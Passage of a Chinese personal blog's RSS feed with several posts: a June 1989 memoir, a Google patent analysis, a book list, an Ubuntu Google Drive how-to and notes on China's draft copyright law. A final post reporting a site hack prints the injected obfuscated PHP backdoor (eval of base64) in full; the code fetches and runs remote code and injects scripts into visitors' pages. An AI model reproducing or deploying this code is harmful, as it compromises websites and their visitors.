              密集的子弹声听起来很脆，远远的听起来，就像放小钢鞭的声音。后来看到一些回忆文章，也听到一些人说，自从64以后，再也忘不掉那枪声，只是我比较愚昧，一直不是能够分辨的清是枪声还是鞭炮声。

              我父亲的一个同事住在复兴门一带，他的女儿那两天下班回家，不知道哪里飞来的一颗流弹打在身前的地上，子弹反弹回来把腿给打中了。虽然治好了，但是自从那之后，一个美丽的少女就变成瘸子了。

              我结婚后，才知道我老婆他哥在那一晚就在长安街一带，枪声响起后，吓得连鞋都不知道跑到哪里了，他说身前身后都有人倒下，自己简直就是从死人堆里爬出来的。说趴在树后，就看到一地的鞋子。

              后来的事情，就是电视里播放一些“暴徒”劫持装甲车，然后到处胡乱射击的画面。“国际大气候与国内小气候”是当时人尽皆知的政治语言。每个人都要写思想汇报，连我们这些中学生都不例外。一家子一起研究怎么写思想汇报的荒诞事情应该是非常多的。还有就是电视里播放的用监控器录下的一个路人在讲他在天安门广场看到血有多么多么厚，死了有多少多少人。这个人成了全国通缉的罪犯。而且很快就被抓获了。的确，那个人其实就是北京城里无数个爱吹牛的男人中的一个，当时的画面我现在还是印象深刻，那明显是在吹牛而已（当时很多人也是这么认为），只是他真的是运道不济，又不识时务，被抓了一个反面典型。

              再后来民间传说越来越多。例如护城河里扔的全都是进京军队的武器啦（当时开始很多军队遇到阻拦撤走的时候，把武器全都留下了，许多人都弄了枪。后来全市严打枪支，就传说大家把枪都扔护城河了）。另外，还有传说什么下水道里经常会有戒严部队军人尸体。甚至市井传言，北京的武林高手组成了一支敢死队，专门袭杀落单和执勤的戒严士兵。

              另外一件影响深远的事情就是，中南海自此后再也不对外开放了。

              上面说了这么许多乱七八糟的东西，只是想说，随着时间的远去，对当年的记忆已经越来越模糊，希望越来越多的人把自己当年的经历，无论大小，都应该说出来，从不同的角度来重现当年的点点滴滴。那是一个我们曾经热血的年代，那是一个我们曾经青春洋溢的年代，那是一个我们白衣飘飘的年代……

               

              补充：听在安保部门工作的同学讲，89之后的几年，北大等学校仍然有小规模的公开演讲等活动，尤其是在64前后。在这段时期，大量便衣会混进学校，而学生们也很机灵，讲着讲着，突然有人一声大喊，“警察来了！”于是学生们作鸟兽散，纷纷跑进附近的宿舍楼中，场地中只剩下面面相觑的便衣们。而在天安门广场，64前后最多的恐怕不是游客，而是便衣了。

              Recent Comments

              ]]>               http://shizhao.org/2012/06/four/feed/ 1               吐槽关于google的一些数据 http://shizhao.org/2012/05/google-2/?utm_source=rss&utm_medium=rss&utm_campaign=google-2 http://shizhao.org/2012/05/google-2/#comments Wed, 30 May 2012 18:23:58 +0000 Shizhao http://shizhao.org/?p=3691 阅读全文——共11139字]]> 刚刚试用innography，顺便拿google试试手，于是就有了以下的一些图表和数据。

              Google当前全球拥有授权和正在申请的专利22645项，自身研发的拥有授权和正在申请专利有5546项，而收购摩托罗拉公司就拥有了6642项专利。另外，google自身研发的已授权美国专利1264项，正在申请815项。
              google目前所拥有的所有授权专利的文本分析

              这是google目前所拥有的所有授权专利的文本聚类分析，几个大方面：搜索、UI、无线通讯、视频、基站。显示了google当前所关注的主要技术领域。

              Google自身研发的已授权美国专利的文本聚类分析

              这是Google自身研发的已授权美国专利的文本聚类分析，主要五个方面：搜索、地理位置、视频、内容、浏览器。这显示的是当前google自身核心业务。

              Google自身研发的正在申请的专利的文本聚类分析

              上图是Google自身研发的正在申请的专利的文本聚类分析，主要方面：搜索、内容、UI、移动计算、SNS。这表示的是google未来5-10年内将会主要关注的领域。

              ————————————————————————–

              Google主要竞争对手分析

              这是当前google主要竞争对手的气泡图。大致上，气泡越大，代表该公司拥有的专利数量越多。气泡越靠右，表明公司的技术实力越强，越往上，说明该公司的经营状况越好。下面是主要竞争公司，当然，也可能成为主要的合作伙伴：

              • 索尼
              • 松下
              • IBM
              • NEC
              • 三星
              • 日立
              • 微软
              • 东芝
              • 佳能
              • 富士通
              • 飞利浦
              • Technicolor
              • 高通
              • LG
              • 夏普
              • 诺基亚
              • 日本电报电话
              • 三菱
              • HP

              google所拥有各公司专利分析

              这是google所拥有的各公司专利分析。摩托罗拉一家就占掉了32%。

              google主要的授权专利持有人

              这是google自身研发的主要的授权专利持有人分析：

              • Shumeet Baluja31
              • Unknown26
              • Oren E ZAMIR21
              • Albert T BORCHERS21
              • MICHAEL J LEBEAU20
              • Chad Steelberg20
              • Ryan Steelberg20
              • Luc Vincent20
              • Andrew T Swing20
              • Brian Axe18
              • Shanmugavelayutham Muthukrishnan18
              • Robert S Sprinkle18
              • Yaowu Xu17
              • James Bankoski17
              • Gokul Rajaram16
              • Michal Cierniak16
              • Paul Wilkins16
              • Deepak Jindal15
              • Manish Gupta15
              • Ross Koningstein15

              Google所研发专利历年申请情况

              这是Google所研发专利历年申请情况，2011年为何锐减呢？

              google所研发专利历年授权情况
              这是google所研发专利历年授权情况。

               

              ——————————————————-

              google当前持有商标148个，正在申请76个，最新的一个申请商标是google drive的商标。

              google商标的历年持有状况

              这是google商标的历年持有情况。

              google当前持有商标所涉及的领域

              这是google当前持有商标所涉及的领域：

              • Electrical and scientific apparatus72
              • Computer, scientific & legal24
              • Advertising and business24
              • Telecommunications19
              • Education and entertainment9
              • Personal5
              • Insurance and financial5
              • Treatment of materials3
              • Paper goods and printed matter2
              • Vehicles2
              • Environmental control apparatus2
              • Transportation and storage1
              • Cosmetics and Cleaning Preparations1

              google正在申请的商标所涉足的领域

              google正在申请的商标所涉足的领域：

              • Electrical and scientific apparatus38
              • Computer, scientific & legal35
              • Advertising and business33
              • Telecommunications21
              • Education and entertainment15
              • Insurance and financial7
              • Transportation and storage6
              • Personal5
              • Clothing3
              • Furniture and articles not otherwise classified1

              ——————————–

              google有133项专利诉讼，但是还没有为此赔过1分钱，同时他也告过别人10次，但也没拿到一分钱。以下是告google的公司：

              • Aloft Group, Inc.6
              • Walker Digital Llc6
              • Wireless Ink Corporation3
              • Microunity Systems Eng3
              • Oracle Corporation3
              • Streetspace, Inc., A Delaware Corporation, Califor3
              • Pragmatus Av Llc3
              • Paid Search Engine Tools, L.l.c.2
              • Skyline Corporation2
              • Asure Software2
              • Yahoo! Inc.2
              • F & G Research, Inc2
              • Beneficial Corp2
              • Performance Pricing, Llc2
              • Parallel Petroleum Corporation2
              • Textscape Technologies, Inc., New Jersey2
              • Tierravision, Inc.2
              • Interval Licensing Llc,washington2
              • Visual Interactive Phone Concepts, Inc., New York2
              • E-contact Technologies Llc2

              以下是google告别人的10场官司：


              		 1 M:2005cv01654 Google Inc. v. Compression Labs Inc. candce 02-24-2005

              		2 3:2004cv04922 Google Inc. v. Skyline Software Systems Inc. candce 11-18-2004

              		3 5:2004cv03934 Google Inc. v. Compression Labs Inc et al candce 09-17-2004
              4 5:2008cv03172 Google Inc. et al v. Egger et al candce 07-01-2008

              		5 3:2008cv04144 Google Inc. v. Netlist, Inc. candce 08-29-2008

              		6 4:2008cv04144 Google Inc. v. Netlist, Inc. candce 08-29-2008

              		7 4:2009cv01243 Google, Inc. v. EMSAT Advanced Geo-Location Technology, LLC et al ohndce 05-29-2009

              		8 3:2009cv00642 Google Inc. v. Traffic Information LLC ordce 06-09-2009

              		9 1:2011cv00175 Microsoft Corporation et al v. GeoTag Inc. dedce 03-01-2011

              		10 1:2011cv00637 Google Inc. v. Sourceprose, Inc. txwdce 07-26-2011
              ———————————
              以下是google目前下属的所有分公司和子公司，以及子子公司等：

              Recent Comments

                ]]>                 http://shizhao.org/2012/05/google-2/feed/ 0                 购书0528 http://shizhao.org/2012/05/books0508/?utm_source=rss&utm_medium=rss&utm_campaign=books0508 http://shizhao.org/2012/05/books0508/#comments Mon, 28 May 2012 06:05:29 +0000 Shizhao http://shizhao.org/?p=3686 阅读全文——共1493字]]> 神话与诗
                神话与诗 
                作者: 闻一多

                出版社: 上海人民出版社
                出版年: 2006-05-01
                页数: 288
                定价: 25.00元
                装帧: 平装
                丛书: 世纪人文系列丛书·世纪文库
                ISBN: 9787208058514

                宇宙的琴弦

                宇宙的琴弦 
                原作名: The Elegant Universe: String Theory

                作者: [美] B·格林
                译者: 李泳
                出版社: 湖南科学技术出版社
                出版年: 2004-08
                页数: 431
                定价: 32.00元
                装帧: 平装
                丛书: 第一推动丛书
                ISBN: 9787535732705

                耶路撒冷的艾希曼

                耶路撒冷的艾希曼 
                副标题: 伦理的现代困境

                作者: （美）汉娜·阿伦特 等著
                译者: 孙传钊 编
                出版年: 2011-1
                页数: 304
                定价: 36.00元
                ISBN: 9787206071973

                不同的宇宙

                译者: 王文浩
                出版社: 湖南科技
                出版年: 2008
                页数: 306
                定价: 28.00元
                丛书: 第一推动丛书
                ISBN: 9787535751850

                蓝火星（全两册）

                蓝火星（全两册） 
                副标题: 《火星三部曲》第三部

                作者: （美）金•斯坦利•罗宾逊
                译者: 蔡梵谷
                出版社: 华文出版社
                出版年: 2009年2月
                页数: 655
                定价: 48.00元
                装帧: 平装
                丛书: 火星三部曲
                ISBN: 9787507523980

                神圣几何

                译者: 王祖哲
                出版年: 2010-7
                页数: 160
                定价: 35.00元
                丛书: 第一推动丛书
                ISBN: 9787535762290

                细胞生命的礼赞

                细胞生命的礼赞 
                副标题: 刘易斯·托马斯作品集

                原作名: The Lives of a Cell-Notes of a Biology watcher by Lewis Thomas
                作者: 刘易斯·托马斯
                译者: 李绍明
                出版社: 湖南科学技术出版社
                出版年: 2011-10
                页数: 315
                定价: 39.00元
                装帧: 平装
                丛书: 刘易斯·托马斯作品集（汉英对照）
                ISBN: 9787535765543

                中国文化要义

                中国文化要义 
                作者: 梁漱溟

                出版社: 世纪文景
                出版年: 2011-6
                页数: 302
                定价: 36.00元
                装帧: 平装
                丛书: 梁漱溟作品集
                ISBN: 9787208098466

                伊本・白图泰游记

                译者: 马金鹏
                出版社: 宁夏人民出版社
                出版年: 2000-5
                页数: 656
                定价: 25.00
                装帧: 平装
                ISBN: 9787227021070

                水母与蜗牛

                水母与蜗牛 
                副标题: 一个生物学观察者的手记

                作者: 刘易斯·托马斯
                译者: 李绍明
                出版社: 湖南科技出版社
                出版年: 2011-10
                页数: 309
                定价: 38.00元
                装帧: 软精装
                丛书: 刘易斯·托马斯作品集（汉英对照）
                ISBN: 9787535765536

                《华尔街日报》是如何讲故事的

                译者: 徐扬
                出版社: 华夏出版社
                出版年: 2006-1
                页数: 291
                定价: 38.00元
                装帧: 平装16开
                ISBN: 9787508039329

                千年终结

                出版社: 社科文献
                出版年: 2006-9
                页数: 382
                定价: 45.00元
                丛书: 社科文献精品译库
                ISBN: 978780230275

                训诂学

                训诂学 
                作者: 郭在贻

                出版社: 中华书局
                出版年: 2005-9
                页数: 198
                定价: 26.00元
                ISBN: 9787101047967

                第一哲学沉思集

                第一哲学沉思集 
                原作名: Meditationes de Prima Philosophia

                作者: 笛卡尔
                译者: 庞景仁
                出版社: 商务印书馆
                出版年: 1986-06
                页数: 434
                定价: 29.00元
                装帧: 平装
                丛书: 汉译世界学术名著丛书·哲学
                ISBN: 9787100006859

                Recent Comments

                  ]]>                   http://shizhao.org/2012/05/books0508/feed/ 0                   在ubuntu上使用google drive http://shizhao.org/2012/04/google-drive-for-ubuntu/?utm_source=rss&utm_medium=rss&utm_campaign=google-drive-for-ubuntu http://shizhao.org/2012/04/google-drive-for-ubuntu/#comments Thu, 26 Apr 2012 14:38:40 +0000 Shizhao http://shizhao.org/?p=3682 阅读全文——共469字]]> 在ubuntu上使用google drive by shizhao
                  在ubuntu上使用google drive, a photo by shizhao on Flickr.
                  测试成功！

                  来源：
                  “First you need to add the packages provided by Luca and available in his PPA (11.10 only at present): -
                  sudo add-apt-repository ppa:invernizzi/google-docs-fs
                  sudo apt-get update && sudo apt-get install google-docs-fs
                  Once everything that’s needed has been installed log out and back in.

                  Open Nautilus
                  Create a new folder in your Home folder titled ‘Drive’
                  Open a Terminal and run: -
                  gmount Drive username@gmail.com
                  Input your password
                  Your Google Drive is now mounted in the ‘Drive’ folder”

                  Recent Comments

                    ]]>                     http://shizhao.org/2012/04/google-drive-for-ubuntu/feed/ 0                     中国新版著作权法对维基百科的影响 http://shizhao.org/2012/04/china-copyright-law-and-wikipedia/?utm_source=rss&utm_medium=rss&utm_campaign=china-copyright-law-and-wikipedia http://shizhao.org/2012/04/china-copyright-law-and-wikipedia/#comments Mon, 23 Apr 2012 14:31:21 +0000 Shizhao http://shizhao.org/?p=3675 阅读全文——共2139字]]> File:PD-icon.svg

                    4月初中国国家版权局发布了最新版的《中华人民共和国著作权法》修订草案，4月末最高法又公布了一个《最高人民法院关于审理侵犯信息网络传播权民事纠纷案件适用法律若干问题的规定(征求意见稿)》。我这里所说的“新版著作权法”就是指这两个而言。

                    摄影作品的著作权保护期被延长

                    在新的著作权法修订草案中将“电影作品和以类似摄制电影的方法创作的作品”改成了“视听作品”（见修订说明），并且规定其保护期为发表后50年，而原来同为保护期为发表后50年的摄影作品则不再单独提及，这也就意味着摄影作品的保护期限由原来的发表后50年变相延长为作者死亡後50年。

                    新版著作权法第二十七条相关规定：

                    视听作品，其著作权中的财产权利的保护期为首次发表后五十年，但作品自创作完成后五十年内未发表的，本法不再保护。

                    目前著作权法第二十一条相关规定：

                    电影作品和以类似摄制电影的方法创作的作品、摄影作品，其发表权、本法第十条第一款第（五）项至第（十七）项规定的权利的保护期为五十年，截止于作品首次发表后第五十年的12月31日，但作品自创作完成后五十年内未发表的，本法不再保护。

                    注：在草案中，视听作品和摄影作品视为两种作品类型。其中，视听作品即现在著作权法中所指电影作品和以类似摄制电影的方法创作的作品（视听作品是指固定在一定介质上，由一系列有伴音 或者无伴音的画面组成，并且借助技术设备放映或者以其他方式传播的作品；——草案第三条第12款）。照片等属于摄影作品（摄影作品是指借助器械在感光材料 或者其他介质上记录客观物体形象的艺术作品——草案第三条第11款）。

                    草案第八十七条规定：

                    第八十七条 本法规定的著作权人和相关权人的权利，在本法施行之日尚未超过本法规定的保护期的，依照本法予以保护。
                    本法施行前发生的侵权或者违约行为，依照侵权或者违约行为发生时的有关规定和政策处理。

                    根据这一改变，在维基百科以及维基共享资源上的许多原本已经进入公有领域的摄影作品将可能从公有领域又转回受著作权保护状态。

                    网站外链侵权网页可能被视为侵权

                    最高法颁布的司法解释中规定：

                    第十一条 网络服务提供者仅通过搜索引擎根据网络用户指令自动提供搜索结果链接的，人民法院一般不认定其应知他人利用其网络服务侵害权利人信息网络传播权。

                    网络服务提供者有下列情形之一的，人民法院一般可以认定其构成应知侵权： （一）通过对热播影视作品、流行度较高的文字作品、音乐作品设置榜单、目录、索引并提供深层链接服务的； （二）通过描述性段落、内容简介等方式对链接作品、表演、录音录像制品等进行推荐的； （三）为主要从事侵权活动的第三方网站提供定向链接的； （四）可以认定应知的其他情形。

                    也就是说维基百科中的外链内容如果是侵权的，维基百科将可能被视为侵权。

                     题外话：软件的著作权保护期

                    在新版著作权草案中，软件的著作权保护期继承了了原来的计算机软件保护条例的规定，其著作权保护期为作者逝世后50年。计算机软件作为飞速发展的作品，即使是50年的保护期都仍然过于漫长，更遑论作者逝世50年后作品才进入公有领域。这么长时间的保护期限，即使不说还有没有人会去用，恐怕很多软件在经过这么长时间之后，能不能在机器上跑起来都是一个问题。而这也就丧失了著作权设立保护期的意义。

                    著作权的保护期

                    著作权设立保护期，重要的一点是出于公众利益的考量。著作权不同于有形的财产，著作权持有人在作品上应当取得足够多的利益法律对此进行保护。而在足够长的时间后，作品的利益获取已经足够多，此时作品就进入公有领域，让所有人都可以在此作品的基础上进行再创作，最大化的利用作品的价值，成为人类共有的文化遗产。而这也正是中国著作权法立法的根本：

                    第一条　为保护文学、艺术和科学作品作者的著作权，以及与著作权有关的权益，鼓励有益于社会主义精神文明、物质文明建设的作品的创作和传播，促进社会主义文化和科学事业的发展与繁荣，根据宪法制定本法。

                    要知道，创立版权制度的初衷是：借由给予创作者一段时期的专有权利，作为（经济）刺激，以鼓励作者从事创作。当专有权利期间届止，作品便进入公有领域。公有领域的作品由于没有专属权利人，因此公众有权自由使用它们。

                    而对于前述的摄影作品而言，由于其介质的特殊性，作品难以长久保存，作者逝世后50年才进入公有领域的话，许多摄影作品可能已经无法再被公众加以利用创作。即使现在摄影作品越来越数字化，但是数字化内容的长期保存在科学界仍然还是一个难题。此外，对于软件而言，作者逝世后50年才进入公有领域，更是对公众的重复利用和再创作几乎无法产生价值，完全违背了著作权立法的初衷。

                    著作权的立法过程，本应该是对各方利益的平衡，但是现在这个草案，一方面对音乐人的利益过于剥夺，立法过于宽松；另一方面却又对公有领域进行侵占，立法过于严苛。实在搞不懂这个草案是怎么弄出来的？

                    如果你对著作权法草案有任何意见

                    4月30日前，可以通过以下途径和方式对修订草案提出意见：
                    1. 通过信函将意见寄至：北京市宣武门外大街40号新闻出版总署（国家版权局）法规司（邮政编码：100052），并在信封上注明“著作权法征求意见”字样。
                    2. 通过传真将意见传至：新闻出版总署（国家版权局）法规司010-83138643。
                    3. 通过电子邮件将意见发至：ncacfgs@126.com。

                    Recent Comments

                    ]]>                     http://shizhao.org/2012/04/china-copyright-law-and-wikipedia/feed/ 4                     blog被入侵 http://shizhao.org/2012/04/blog/?utm_source=rss&utm_medium=rss&utm_campaign=blog http://shizhao.org/2012/04/blog/#comments Sun, 15 Apr 2012 12:26:20 +0000 Shizhao http://shizhao.org/?p=3671 阅读全文——共12404字]]> 前几日blog被入侵，在所有页面都被注入以下代码：

                    <?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YX